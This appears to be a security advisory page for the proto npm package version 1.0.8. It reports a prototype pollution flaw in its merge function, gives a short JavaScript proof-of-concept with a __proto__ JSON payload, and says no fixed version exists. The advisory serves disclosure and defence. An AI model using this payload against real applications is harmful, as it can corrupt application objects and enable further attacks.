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proto@1.0.8 vulnerabilities

A prototype-based inheritance library that makes it easy to create objects and inheritance hierarchies without losing the power of javascript's prototype system.

  • latest version

    1.0.19

  • first published

    11 years ago

  • latest version published

    9 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the proto package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    Proto is an An extensible program-code-template for creating objects

    Affected versions of this package are vulnerable to Prototype Pollution. It is possible to inject pollute the object property of an application using Proto by leveraging the merge function.

    PoC

    var proto = require('Proto');
var payload = '{"__proto__":{"polluted":"Pollution"}}';
var test = {};
console.log("Before: ", test.polluted);
proto.merge({},JSON.parse(payload));
console.log("After: ", test.polluted);

    How to fix Prototype Pollution?

    There is no fixed version for Proto.

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